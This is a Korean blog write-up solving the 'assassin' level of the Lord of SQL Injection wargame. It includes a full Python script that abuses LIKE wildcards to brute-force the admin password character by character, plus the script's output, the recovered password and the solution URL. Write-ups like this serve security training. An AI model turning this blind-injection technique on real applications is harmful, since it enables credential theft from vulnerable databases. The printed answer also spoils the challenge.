올... 이번에는 조금 맵시 있는 몬스터를 만났다.(일부로 제목도 소문자로 썼다. 대문자는 둔해 보여서) 암살자라는 이름을 달고 온 이 몬스터를 무찌르기 위해 코드를 확인하고 공략법을 이야기해보자
코드
실행되는 쿼리문은 하나이다. prob_assassin이라는 table에서 pw like '{$_GET[pw]}' 인 값을 가져와서 admin이면 success이다. 즉 pw를 통해서 admin 레코드를 가져오는 것이 assassin을 무찌르는 방법이다. 다행히도, helllo {$result [id]}가 있으니, blind sql injection을 실행하기 아주 좋은 환경이다.
해결방법
Answer Url : los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=902efd10
from requests import get
import string
if __name__=="__main__" :
url = ### assassin url ###
length = 1
password = ""
cookie = dict(PHPSESSID="### 자신의 PHPSESSID ###")
letters = string.digits+string.ascii_letters
find_pw = False
while(True) :
password = "_"*length
param1 = "?pw="+str(password)
new_url = url+param1
rec = get(new_url,cookies=cookie)
if(rec.text.find("Hello ")<=120 and rec.text.find("Hello ")!=-1) :
print("find candidate legnth : "+str(length))
pw_list = ["_" for i in range(length)]
for i in range(length) :
for a in letters :
pw_list[i] = a
tmp_ps = "".join(pw_list)
param2 = "?pw="+tmp_ps
new_url = url+param2
rec2 = get(new_url,cookies=cookie)
if(rec2.text.find("Hello")<=120 and rec2.text.find("Hello")!=-1) :
rem = a
print("found "+str(i+1)+" letter : "+a)
find_pw = True
break
pw_list[i] = rem
if(find_pw == True) :
print("found admin's pw : "+"".join(pw_list))
break
else :
length += 1
print("damm... keep going")
어려워 보이는데 의외로 단순한 코드이다. 일단 와일드카드에 대해서 알아야한다.
like를 사용할 때는 특정한 문자열 전체를 의미하는 와일드카드를 지정할 수 있다.
예를 들면 "%"는 모든 글자를 의미하고, "_"는 한 글자를 의미한다. 따라서? pw=%를 전달하면 다음과 같은 화면을 얻을 수 있다.
이에 따라 pw의 글자 길이를 구하려면 하나하나 늘려가면서 한문자를 의미하는 "_"를 넣으면 된다.
아래는 이를 수행하는 코드이다.
while(True) :
password = "_"*length
param1 = "?pw="+str(password)
new_url = url+param1
rec = get(new_url,cookies=cookie)
if(rec.text.find("Hello ")<=120 and rec.text.find("Hello ")!=-1) :
print("find candidate legnth : "+str(length))
pw_list = ["_" for i in range(length)]
여기서 Hello라는 문자열을 검사를 해야 되는데, 코드에 echo "<h2> Hello가 포함되어 있어서 find의 위치를 조금 조정해 주었다. (못 찾으면 -1이니, -1는 제외한다.) 이렇게 찾은 pw의 길이는 8이다.(재미있는 건 이 문제에서는 admin과 guest의 pw길이가 같다. 무한루프를 설정한 건 혹여 admin이 발견될까 검사했던 잔재인데, 한 30쯤 길이가 같다는 걸 확신했다.)
길이를 찾았으면 다음은 한문자씩 넣어보며 pw를 찾을 뿐이다. 아래는 해당 루프이다.
pw_list = ["_" for i in range(length)]
for i in range(length) :
for a in letters :
pw_list[i] = a
tmp_ps = "".join(pw_list)
param2 = "?pw="+tmp_ps
new_url = url+param2
rec2 = get(new_url,cookies=cookie)
if(rec2.text.find("Hello")<=120 and rec2.text.find("Hello")!=-1) :
rem = a
print("found "+str(i+1)+" letter : "+a)
find_pw = True
break
pw_list[i] = rem
8칸짜리 "_"로 이루어진 pw_list를 생성했고, 한 문자씩 찾으면 넣어 두는 방식을 선택했다.(정말 재미있는 건 pw의 앞 일부 글자는 admin과 guest가 같다는 점이다. 그래서 이번에도 admin이 아닌 Hello를 검색해서 끝까지 못 찾은 것으로 판단되면 rem을 넣어주었다.) 출력 결과는 다음과 같다.
damm... keep going
damm... keep going
damm... keep going
damm... keep going
damm... keep going
damm... keep going
damm... keep going
find candidate legnth : 8
found 1 letter : 9
found 2 letter : 0
found 3 letter : 2
found 4 letter : e
found 5 letter : f
found 6 letter : d
found 7 letter : 1
found 8 letter : 0
found admin's pw : 902efd10
다행히도 중복된 문자열 이후에는 admin레코드가 quest보다 먼저 검색되었다. 만약 여기서 guest가 출력되었다면, admin이 나오는 문자열이 검색될 때까지 continue 했으면 된다.
축하한다. 이렇게 assassin을 해결했다.
슬슬 SQL Injectino실력이 향상되는 것이 느껴지는가? 그렇다면 다행이다. 아닌 사람도 천천히 가면 언젠가 SQL Injectinon에 정수에 도달할 수 있을 것이다. 그럼 필자는 다음 관문에서 여러분들을 기다리겠다.
'WarGame > Lord of SQL Injection' 카테고리의 다른 글
[LOSI] Lord of SQL Injection Level 17 - Zombie assasin (0) | 2021.04.17 |
---|---|
[LOSI] Lord of SQL Injection Level 16 - Succubus (0) | 2021.04.17 |
[LOSI] Lord of SQL Injection Level 14 - Giant (0) | 2021.04.13 |
[LOSI] Lord of SQL Injection Level 13 - BugBear (0) | 2021.04.13 |
[LOSI] Lord of SQL Injection Level 12 - Dark Knight (0) | 2021.04.13 |